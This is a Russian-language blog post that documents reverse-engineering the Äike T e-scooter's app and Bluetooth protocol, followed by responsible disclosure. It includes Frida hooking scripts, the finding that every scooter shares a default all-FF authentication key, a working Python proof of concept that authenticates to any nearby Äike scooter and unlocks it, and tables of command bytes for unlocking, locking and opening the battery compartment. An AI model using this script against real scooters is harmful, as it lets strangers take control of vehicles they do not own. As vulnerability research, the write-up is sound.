
Несколько лет назад я решил купить электросамокат, чтобы ездить на работу. Я уже какое-то время пользовался прокатом самокатов, но устал от необходимости «охоты» на них или отсутствия их рядом с домом, когда мне нужно было ехать в офис.
Мой выбор остановился на Äike T. Не потому, что он оказался лучше других самокатов: на самом деле, его цена была даже выше других, и в этом ценовом сегменте рынка явно имелись скутеры с более высокими параметрами.
Однако я выбрал Äike, потому что его производили в моей стране, а мне нравится по возможности поддерживать местные компании. Äike («молния» на эстонском) был спроектирован и изготавливался в Эстонии, прямо в Таллине. Насколько я могу судить, разработчики использовали не так много стандартных компонентов. Конструкция была разработана с нуля, модуль IoT и аккумуляторные блоки тоже производили локально, и так далее. Нельзя сказать, что это однозначно лучше, ведь при этом усложняется обслуживание самоката, но сам продукт мне показался амбициозным.
Ещё одной причиной покупки стало то, что у производителя была сестринская компания Tuul («ветер» на эстонском), занимавшаяся прокатом электросамокатов. Это тоже были скутеры Äike, и из всех конкурентов мне больше всего нравились Tuul/Äike, поэтому я по возможности пользовался их прокатом.
В прошлом году компания Äike обанкротилась. В будущем это не предвещало ничего хорошего: станет всё сложнее находить запчасти, ведь они были нестандартными. Но возникли у меня и более актуальные опасения, связанные с возможностью пользоваться самокатом. У него нет ручной функции включения/отключения. Для включения и выключения, открывания аккумуляторного отсека, переключения в режим транспорта и так далее необходимо было приложение.
Разумеется, приложение было подключено к «облаку». Часть функций уже перестала работать или была отключена (например, отслеживание местоположения по карте в реальном времени, хранение истории длительности поездок и так далее). Другие функции, привязанные к «облаку», похоже, ещё работали. Было непонятно, настанет ли такой момент, когда я вообще не смогу пользоваться приложением, а значит, и ездить на самокате. Это мотивировало меня заняться реверс-инжинирингом самоката и его приложения, чтобы разобраться, можно ли обмениваться данными с самокатом через стороннее приложение.
Первым делом я взялся за обратную разработку Android-приложения. Вскоре после этого я понял, что в самокате есть критическая уязвимость безопасности, позволявшая не только разблокировать и контролировать мой самокат, но и любой другой самокат Äike.
Подготовка к реверс-инжинирингу
Приложение написано на React Native. Есть два способа компиляции приложений React Native.
При старом способе в приложение сохранялся файл JavaScript, который интерпретировался JavaScript-движком React Native при запуске приложения. Несмотря на минификацию файла JavaScript, он всё равно довольно понятен, и выполнить реверс-инжиниринг его функциональности не так сложно. Труднее было бы отреверсить нативные модули или клей на Java/Kotlin. Модифицировать JavaScript для выполнения произвольного кода очень легко.
Более новый способ компилирует код на JavaScript в собственный байт-код React Native, исполняемый виртуальной машиной RN под названием Hermes. В этом случае уровни сложности менялись местами. Байт-код Hermes разобрать непросто, и пока нет хороших инструментов для реверс-инжиниринга приложений, скомпилированных этим новым способом. Особенно верно это, учитывая мощь современных декомпиляторов Java/Kotlin, благодаря которой в этом случае в скомпилированном коде проще понять клеевые классы.
Приложение Äike скомпилировано новым способом. К сожалению, из-за этого реверс-инжиниринг приложения был гораздо сложнее, чем я надеялся, но в то же время это здорово, ведь мне нравятся трудности.
Пока не существует хороших декомпиляторов байт-кода Hermes, превращающих его в код программы. Эту задачу пытались решить несколько проектов (1, 2, 3), но генерируемые ими результаты довольно зашумлены и неудобочитаемы. В итоге, я в основном пользовался проектом hermes_rs разработчика Pilfer, потому что он оказался наиболее совершенным и мне нравится работать с кодом на Rust.
Хотя большая часть функциональности была реализована на React Native, приложение всё равно должно было вызывать нативные функции Android. Я понимал, что это так, потому что для общения с самокатом приложение использует Bluetooth (наряду с «облаком»), а для выполнения любых действий с Bluetooth в Android, разумеется, нужна нативная функциональность операционной системы. Для этого приложение использует клей в виде кода на Kotlin. Я пользуюсь декомпилятором Java Vineflower; он смог декомпилировать интересующий меня код в довольно читаемый результат.
Изучив его, я понял, что код на Kotlin использовался исключительно в качестве «моста» для общения с операционной системой, а вся логика находится в байт-коде Hermes. Из-за этого мне пришлось активно работать с Frida для изучения обмена данными по Bluetooth в среде исполнения. После исследования декомпилированного кода стало понятно, что основная часть коммуникаций Bluetooth выполняется через характеристики BLE GATT. Я не буду вдаваться в подробности того, как здесь работают характеристики GATT (если вам любопытно, прочитайте недавнее исследование ERNW по безопасности наушников Bluetooth). Важно то, что теперь мы можем довольно легко перехватывать и изменять этот трафик при помощи Frida.
Android раскрывает классы Java android.bluetooth.BluetoothGatt и android.bluetooth.BluetoothGattCallback, которые приложения должны использовать для работы с характеристиками GATT. При помощи Frida мы можем перехватывать их и переопределить многие интересные функции.
В основном меня интересовали операции чтения и записи, а также уведомления GATT, поэтому я написал скрипт Frida, перехватывающий их и выводящий все коммуникации в консоль:
Java.perform(function() {
var BluetoothGatt = Java.use("android.bluetooth.BluetoothGatt");
// события подключения
BluetoothGatt.disconnect.implementation = function() {
console.log("n*** [GATT] DISCONNECTING ***");
return this.disconnect();
};
// операции записи
BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function(characteristic) {
console.log("n>>> [COMMAND] Writing characteristic");
var uuid = characteristic.getUuid();
var value = characteristic.getValue();
console.log(" UUID: " + uuid);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
return this.writeCharacteristic(characteristic);
};
BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(characteristic, value, writeType) {
console.log("n>>> [COMMAND] Writing characteristic");
var uuid = characteristic.getUuid();
console.log(" UUID: " + uuid);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
console.log(" Write Type: " + writeType);
return this.writeCharacteristic(characteristic, value, writeType);
};
var BluetoothGattCallback = Java.use("android.bluetooth.BluetoothGattCallback");
// изменения состояния подключения
BluetoothGattCallback.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt', 'int', 'int').implementation = function(gatt, status, newState) {
console.log("n*** [CONNECTION] State changed: " + getConnectionState(newState) + " (status: " + status + ") ***");
return this.onConnectionStateChange(gatt, status, newState);
};
// чтение характеристик
BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', 'int').implementation = function(gatt, characteristic, status) {
console.log("n<<< [RESPONSE] Characteristic read");
var uuid = characteristic.getUuid();
var value = characteristic.getValue();
console.log(" UUID: " + uuid);
console.log(" Status: " + status);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
return this.onCharacteristicRead(gatt, characteristic, status);
};
BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(gatt, characteristic, value, status) {
console.log("n<<< [RESPONSE] Characteristic read");
var uuid = characteristic.getUuid();
console.log(" UUID: " + uuid);
console.log(" Status: " + status);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
return this.onCharacteristicRead(gatt, characteristic, value, status);
};
// уведомления
BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic').implementation = function(gatt, characteristic) {
console.log("n<<< [NOTIFICATION] Device data");
var uuid = characteristic.getUuid();
var value = characteristic.getValue();
console.log(" UUID: " + uuid);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
console.log(" Length: " + (value ? value.length : 0) + " bytes");
return this.onCharacteristicChanged(gatt, characteristic);
};
BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B').implementation = function(gatt, characteristic, value) {
console.log("n<<< [NOTIFICATION] Device data (with value)");
var uuid = characteristic.getUuid();
console.log(" UUID: " + uuid);
console.log(" Value: " + bytesToHex(value));
console.log(" ASCII: " + bytesToAscii(value));
console.log(" Length: " + (value ? value.length : 0) + " bytes");
return this.onCharacteristicChanged(gatt, characteristic, value);
};
});
Аутентификация
После того, как моё тестовое окружение было более-менее готово, я начал исследовать различные функции приложения, чтобы разобраться, как работает обмен данными. Перехватывая процесс подключения приложения к самокату, я наблюдал следующий поток:
-
Приложение подключается к самокату.
-
Приложение считывает характеристику
00002556-1212-efde-1523-785feabcd123. Она содержит случайное 20-байтное значение. -
Приложение записывает другое 20-байтное значение в характеристику
00002557-1212-efde-1523-785feabcd123. -
Приложение записывает команды в характеристику
0000155f-1212-efde-1523-785feabcd123. На этом этапе я мог отправлять команды блокировки и разблокировки, команду открывания аккумуляторного отсека и так далее. -
Приложение разрывает соединение (когда его закрывают). Дальнейшие соединения снова начинаются с этапа 1.
Похоже было, что этапы 2 и 3 — это некая аутентификация «запрос-ответ». Без выполнения этих этапов я не мог просто перескочить к этапу 4 и начать отправлять команды самокату, потому что они бы отклонялись.
Я заподозрил, что 20-байтное значение — это используемый каким-то образом SHA-1. Чтобы убедиться в этом, я написал ещё один скрипт Frida, который перехватывает функции хэширования Android, раскрываемые классом Java java.security.MessageDigest:
Java.perform(function() {
var MessageDigest = Java.use("java.security.MessageDigest");
MessageDigest.getInstance.overload('java.lang.String').implementation = function(algorithm) {
console.log("n[HASH] MessageDigest.getInstance called");
console.log(" Algorithm: " + algorithm);
return this.getInstance(algorithm);
};
MessageDigest.update.overload('[B').implementation = function(input) {
console.log("n[HASH] MessageDigest.update called");
console.log(" Input: " + bytesToHex(input));
return this.update(input);
};
MessageDigest.digest.overload().implementation = function() {
console.log("n[HASH] MessageDigest.digest called");
var result = this.digest();
console.log(" Output: " + bytesToHex(result));
return result;
};
MessageDigest.digest.overload('[B').implementation = function(input) {
console.log("n[HASH] MessageDigest.digest called");
console.log(" Input: " + bytesToHex(input));
var result = this.digest(input);
console.log(" Output: " + bytesToHex(result));
return result;
};
});
Запустив оба скрипта Frida, я подтвердил свои подозрения:
[BLE READ] UUID: 00002556-1212-efde-1523-785feabcd123
Value: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2
[HASH] MessageDigest.getInstance called
Algorithm: SHA-1
[HASH] MessageDigest.update called
Input: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
[HASH] MessageDigest.digest called
Output: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6
[BLE WRITE] UUID: 00002557-1212-efde-1523-785feabcd123
Value: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6
Значение запроса, считываемое из характеристики 2556, конкатенировалось с 20-байтами FF, и получившийся хэш записывался в характеристику 2557. Откуда бралось это значение FF?
Для основной части своей облачной функциональности приложение использует Firebase. При регистрации и сопряжении самоката сервер отправляет приложению секретный ключ. Он хранится в устройстве Android, и его можно считать, имея доступ к руту:
sqlite3
./data/data/com.comodule.tuul.personal/databases/firestore.%5BDEFAULT%5D.coscooter-eu.%28default%29
"SELECT base64(contents) FROM remote_documents WHERE path = 'vehicles' || char(1) || char(1) || 'a1ce1d929129894c' || char(1) || char(1)"
| base64 -d | protoc --decode_raw
Вывод:
2 {
1: "projects/coscooter-eu/databases/(default)/documents/vehicles/a1ce1d929129894c"
2 {
1: "connected"
2 {
1: 0
}
}
...
2 {
1: "blePrivateKey"
2 {
17: "ffffffffffffffff"
}
}
...
Как видно из вывода, значение blePrivateKey равно ffffffffffffffff.
Я заподозрил, что это значение должно быть уникальным для каждого самоката. На это указывал и программный SDK для модулей IoT, используемых в этих самокатах — ключ FF был значением по умолчанию в SDK, которое разработчики должны были менять. Это подтвердил представитель компании, производящей эти модули, когда я сообщил ей об этой проблеме. Очевидно, команда разработчиков Äike пренебрегла созданием нового ключа для каждого самоката, применив для каждого пустой ключ FF.
Насколько я понял, в прокатных самокатах Tuul отключён Bluetooth, поэтому у них отсутствует эта уязвимость.
Proof of concept
Зная всё это, было довольно просто выполнять аутентификацию с любым самокатом Äike рядом со мной и начать отправлять ему команды. Чтобы доказать это, я написал скрипт на Python, выполняющий эту задачу — сначала он аутентифицируется в любом обнаруженном самокате при помощи ключа FF, а затем отправляет команду для его разблокировки. Для его запуска нужен Python 3 и библиотека bleak для работы с Bluetooth.
#!/usr/bin/env python3
import asyncio
import hashlib
from bleak import BleakClient, BleakScanner
CHALLENGE_UUID = "00002556-1212-efde-1523-785feabcd123"
RESPONSE_UUID = "00002557-1212-efde-1523-785feabcd123"
COMMAND_UUID = "0000155f-1212-efde-1523-785feabcd123"
def aike_filter(device, _):
return device.name and device.name in ["AIKE", "AIKE_T", "AIKE_11"]
async def main():
# сканирование и подключение
device = await BleakScanner.find_device_by_filter(aike_filter, timeout=10.0)
if device is None:
print("No Äike device found")
return
client = BleakClient(device.address)
await client.connect()
# аутентификация
challenge = await client.read_gatt_char(CHALLENGE_UUID)
response = hashlib.sha1(challenge + b'xFF' * 20).digest()
await client.write_gatt_char(RESPONSE_UUID, response, response=False)
# отправка команды разблокировки
cmd = bytes([0x00, 0xD4, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
await client.write_gatt_char(COMMAND_UUID, cmd, response=False)
await asyncio.sleep(0.5)
await client.disconnect()
if __name__ == "__main__":
asyncio.run(main())
Дальнейший реверс-инжиниринг
Разумеется, я не просто хотел подключаться к скутеру и проходить аутентификацию, но и отправлять ему команды, а также обмениваться данными.
Проведя более глубокий реверс-инжиниринг и динамический анализ, я обнаружил, что сообщения с командами (записываемые в характеристику 0000155f-1212-efde-1523-785feabcd123) в общем случае имеют следующую 10-байтную структуру:
|
Смещение |
Описание |
|---|---|
|
0 |
Байт заголовка 1 (всегда |
|
1 |
ID регистра — для команд обычно |
|
2 |
Зарезервировано ( |
|
3 |
ID команды |
|
4 |
Зарезервировано ( |
|
5 |
Зарезервировано ( |
|
6 |
Зарезервировано ( |
|
7 |
Значение параметра |
|
8 |
Зарезервировано ( |
|
9 |
Зарезервировано ( |
Например, команда разблокировки (0x01) без параметра будет выглядеть так:
00 D4 00 01 00 00 00 00 00 00
Переключение самоката в «режим транспорта» не стал исключением — эта команда использует другой регистр (0xD2) и структуру:
|
Смещение |
Значение |
Описание |
|---|---|---|
|
0 |
|
Заголовок |
|
1 |
|
Регистр транспорта |
|
2 |
|
Относится к режиму транспорта |
|
3 |
|
Относится к режиму транспорта |
|
4 |
|
Относится к режиму транспорта |
|
5 |
|
Относится к режиму транспорта |
|
6-7 |
|
Зарезервировано |
|
8 |
State |
|
|
9 |
|
Зарезервировано |
Вот список команд:
|
Команда |
ID |
Параметр |
Пример |
|---|---|---|---|
|
Разблокировать |
|
|
|
|
Заблокировать |
|
|
|
|
Переключиться в режим «Эко» |
|
|
|
|
Открыть аккумуляторный отсек |
|
|
|
|
Установить таймер автоматической блокировки |
|
Минуты ( |
|
|
Режим автоматического торможения |
|
|
|
Кроме того, самокат отправляет уведомления в характеристику 0000155e-1212-efde-1523-785feabcd123. Уведомления содержат информацию о состоянии самоката (уровень заряда аккумулятора, расстояние, события блокировки/разблокировки и так далее).
Каждое уведомление начинается с 2-байтного ID регистра, за которым следуют данные полезной нагрузки.
|
ID регистра |
Название |
Формат полезной нагрузки |
|---|---|---|
|
|
Уровень заряда аккумулятора |
1 байт: процент (0-100) |
|
|
Статус блокировки |
1 байт: |
|
|
Телеметрия аккумулятора |
Расширенная статистика аккумулятора? |
|
|
Режим «Эко» |
1 байт: |
|
|
Статус команды |
Подтверждение команды |
|
|
Настройки |
8-байтная структура настроек |
|
|
Напряжение аккумулятора |
2 байта в big-endian: мВ |
|
|
Информация о прошивке |
Сведения о версии прошивки |
Настройки (0x01A2) имеют следующую структуру полезной нагрузки:
|
Смещение |
Описание |
|---|---|
|
0-1 |
Неизвестно (возможно, модель самоката или версия оборудования) |
|
2 |
Таймер автоматической блокировки в минутах ( |
|
3 |
Автоматическое торможение: |
|
4 |
Неизвестно |
|
5 |
Режим «Эко»: |
|
6 |
Режим транспорта: |
|
7 |
Неизвестно |
Также можно вручную считывать значения уведомлений, записывая 2-байтный ID регистра в характеристику 00001564-1212-efde-1523-785feabcd123, а затем считывая ответ из 0000155f-1212-efde-1523-785feabcd123. Ответ состоит из 10 байт: первые 2 байта повторяют ID регистра, за ними следуют 8 байт полезной нагрузки.
Раскрытие
Отправка отчёта об уязвимости была усложнена тем, что Äike больше не существует. В сентябре 2025 года я связался с компанией-производителем модулей IoT, подтвердившей, что значение ключа FF используется по умолчанию и должно изменяться для каждого устройства.
С тех пор я написал собственное приложение для управления моим самокатом и с телефона, и с умных часов, что раньше было невозможно. По крайней мере, теперь мне не нужно беспокоиться о том, что облачные серверы будут отключены.
Хронология
-
13.09.2025 — попытка связаться с производителем модулей IoT, чтобы получить контакты для ответственного раскрытия уязвимости.
-
19.09.2025 — первый ответ производителя.
-
19.09.2025 — производителю отправлено подробное описание уязвимости.
-
22.09.2025 — производитель подтвердил, что клиент (Äike) должен был менять ключ, используемый по умолчанию.
-
06.01.2026 — публикация статьи.
Автор: interpres
